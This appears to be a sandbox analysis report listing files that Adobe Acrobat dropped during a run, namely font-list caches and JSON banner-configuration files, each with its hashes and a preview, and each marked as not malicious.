SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2820

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2820

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.318541427312179
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJM3g98kUwPeUkwRe9:YvXKX5YUYpW7ZnGMbLUkee9
MD5:	A5B6463A2CF09C495F1CF46A1329B97B
SHA1:	4200E2B72860EBD1E101D63CBA33D011727EEF21
SHA-256:	17A33685D5E9D630F2A9D5462BE0B508A5E8C3C0959CAE7E993061885D461682
SHA-512:	ABA5048338F6E97ADE8AE6899FC093BFEE70DE7B91EA02A019E998469AA1BF1B94F2A3E2E31B0A4594822EE4D856B03C64FC3E0F790DFAF616ED9236663C7348
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.255368037634966
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJfBoTfXpnrPeUkwRe9:YvXKX5YUYpW7ZnGWTfXcUkee9
MD5:	A2066D91917922672BAC0F02DD8E1B10
SHA1:	84436FEC34D4543DA906882E7CEE3CE2EAADE305
SHA-256:	316834AF227E9946858F8202BD0518ACDC63423DC5ACC9775B591D62253C20F3
SHA-512:	A843F3187F23EAEF181F5EBC34AAFD0FBB36518BF777E8F9F97E086BD10D24561D0E74ED57B0CAB251B66EB77E3B144D5E016D1DB9A15AD1A7CDABBEE50DCB1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2334018665263855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJfBD2G6UpnrPeUkwRe9:YvXKX5YUYpW7ZnGR22cUkee9
MD5:	D659A4C04FB862F701B08692781B4042
SHA1:	48C5FA8D118A37059CDBACE3BF02838883B8524E
SHA-256:	77D32878BB5BFF64A010C7D13D329275D61094162576E4B9EC9BED8BF4EF6D46
SHA-512:	4ACEE57EA504AFE21E60F16FB7F0CF5A7A8BC6438F187FF773C82D77B76B140044635A23C8ACEAB1734A01F3EB8B2A7FEDF1E529556E570016B6484DEBD7EAB2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.29586160465015
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJfPmwrPeUkwRe9:YvXKX5YUYpW7ZnGH56Ukee9
MD5:	37BF1BB6C3435D6AB131589270496B4B
SHA1:	0D817C4667B7410E6C1ACC25783156AEB9330650
SHA-256:	6C4ABE1965FB4537BBCEF87B58077D8DE0B2626953F1FF6DD8A6EAFA7F14D86F
SHA-512:	A9BD5546F09BCB96B25EE3987A0D4AF82D75753A29E55D988EBC8C76274BDE4A75DBAE81810E2F1C515DF46F49532355029228BA41F456CD70F4A84E492DEDCE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684618431307565
Encrypted:	false
SSDEEP:	24:Yv6XyFiOpLgE9cQx8LennAvzBvkn0RCmK8czOCCSd:YvRsOhgy6SAFv5Ah8cv/d
MD5:	0EF0813824878339D609A8AB98C6BC09
SHA1:	2E943937E04B7CA028F6FF143B228918829F9623
SHA-256:	C12BE71F0ECB4DD9573011D872FA9734913AAD14EB31B5280D680318E84376E6
SHA-512:	1D5C65358B6DCD0F7876C4E2FD6C780A2904ACFB9962AA483D12366CAE13E0CFA7925D20901EBA490710C9C28EA52A9A9EB5519782ED5AD0C950D84AB91130A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.240587301731232
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJf8dPeUkwRe9:YvXKX5YUYpW7ZnGU8Ukee9
MD5:	0B36A21AB3E3D096322ED4128D60F2A4
SHA1:	B097C591F8A8B922C240E68C279AC71BEAAF6A97
SHA-256:	128F45267896E3786515B2E8C8D3C00328AD87D79851161CDEDED55F79C3E1A5
SHA-512:	5DD5C00BB13FC4B698B69FC618DACBBCA22E6BCDC53BFF9DB3DFA263B141B55F761D0DBCBC47EB3E9051E61EEAC1802DD20932EB4A529D1DF66FC0D07FFBB7A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.241587481473337
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJfQ1rPeUkwRe9:YvXKX5YUYpW7ZnGY16Ukee9
MD5:	BBB9C90B543D4E6797674E1F5C40C9DE
SHA1:	F2DC46DD94C190A242688E5648ED993754F811EF
SHA-256:	941262CB2752CC046EB4E219A51B2D6390D0DFB4FAF325461C291DCD66216991
SHA-512:	32DA684EC3EE2BF3F8215F29CCD38564D3F95F43709F54AA34DB9B9F26BF70224C57223AAA2684FE04E1082435EB3CEB452CCEF6E6465FC06858966F8F4565BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.262980463086913
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJfFldPeUkwRe9:YvXKX5YUYpW7ZnGz8Ukee9
MD5:	709405CDEB02F35FB498DFAE37AD5D8B
SHA1:	8F9EB7D845F207819A0B27BA2EEA60B97A88B10C
SHA-256:	4EB073474FC1804B30DAC725494240BD552E34B95C01AC01A17FB7EB0102BE0C
SHA-512:	9D3FEC0E0D32A40CA2E7C75EE2AB6A578E8E9ACAEE1DFFB6659CD717DE8ED004070C0DFD739FE866AF13E05BB0056772B8FA67020DC030EDD1A98AE0B5E21081
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.269831356735807
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJfzdPeUkwRe9:YvXKX5YUYpW7ZnGb8Ukee9
MD5:	5AB5A7522F75B66078360EC2C99C952F
SHA1:	E01498A12C4FFE46BEB961221FDDD31EF62FA237
SHA-256:	03F34F26C0F2A9124DE4F2665F096F18D5C3068870FA079276961655FDD7C41B
SHA-512:	A633FC57B8591A514B74A431125571AE819793DC3122FFC51CF5B89E477EA4B25B181B60CBFDFCA30ABDAFBB2CBA946B1F99A979D37A60BBB7099D7041042984
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.249152929929748
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJfYdPeUkwRe9:YvXKX5YUYpW7ZnGg8Ukee9
MD5:	3371457981F6A9E6E12C09E0B6902F90
SHA1:	6DB1A121CB4B2B62B206393502DF859EFCA0C1A3
SHA-256:	F3B0EF22DD8B343E0F980D1D245A302EAE2C05FB312C04B39F9C5BE725867ADF
SHA-512:	B5639F8FD2DD7D4AC0FBB487BEBFA441A7C925CDDC13CD5288395A9DEA487A7ED0A76085435C9500805B81BF9502686776AB92AFC129F9CB6A2E14ECCE053569
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.234889461477478
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJf+dPeUkwRe9:YvXKX5YUYpW7ZnG28Ukee9
MD5:	A8444B071EE1601FC72DB7954551FA06
SHA1:	4B930951827BAC3846566244D3894006F05CCBF0
SHA-256:	711345F5E177CB4F540A4E4D7CBFA7A61A702BD575F39FD8BA97A42252B2BC34
SHA-512:	508311534833025E7B7FA19D0F25B884C811BAAB63E5DA879768E0DCB25CC34048E9F960259883F629B08CDA546C40A79C3C3FC5C6ECF7DD5272618C64C0349C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.23304949200272
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJfbPtdPeUkwRe9:YvXKX5YUYpW7ZnGDV8Ukee9
MD5:	87732623101FD6C78A44DE6744BA3426
SHA1:	91283AAFAB60FBCA64167E38FEF83ED705F20FE8
SHA-256:	583125F733DB2DD54A4AEB33FE5065FED173BEBB16B7E8BB893E7B5FD7D6DA77
SHA-512:	18C3F76C7DEDF5C6CA6728904C3FC0EE4728FDCEED5AD04778FAF42899B12613D1F5BB24C08C9E0CB38BA140D9313FD862CB6368FFD8B7FD3281C6FF8E9E6242
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2337045312928065
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8dlmlpx+FIbRI6XVW7+0YwDJ2DoAvJf21rPeUkwRe9:YvXKX5YUYpW7ZnG+16Ukee9
MD5:	E4F7E8956CDDC5ACA74A46D91939C486
SHA1:	29379BCEE2E484852032B86164693D69AE3B374E
SHA-256:	DEDBBD3A4BDBD1343FB6E4AFA1D4F787E6218A4894305A79B31229552C57A9AE
SHA-512:	8807CAECE182CB1844F872A7ED776E502BEF2A6C93DF7297E956D0CD86055603422F2040720B31AFC6E644CC58F90549EA9F4B5E4D5D58C498F0628856F7D589
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.654214047388624
Encrypted:	false
SSDEEP:	24:Yv6XyFiSamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSd:YvRssBgkDMUJUAh8cvMd
MD5:	5F1522A9C2A6378FD04D08C16DABC979
SHA1:	D09CE4A611F57424A60214DA144CD382C6060680
SHA-256:	FB12BD7264AD048712D0E36226430495FD5ADD64943DAEB9CFD06DBFA09DCC54
SHA-512:	5CCCB0CFD815A29AF0A593EAD34D05D5574E1C3FDC7AA6C1E7C5BD2EDFFAD3E188064FEB66A58DD408E280F5B368F96B97113CBF5BCCD01988DB0208A6CAE46F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e3054c09-7acd-4f69-9637-0e81ecc64631","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746142926,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

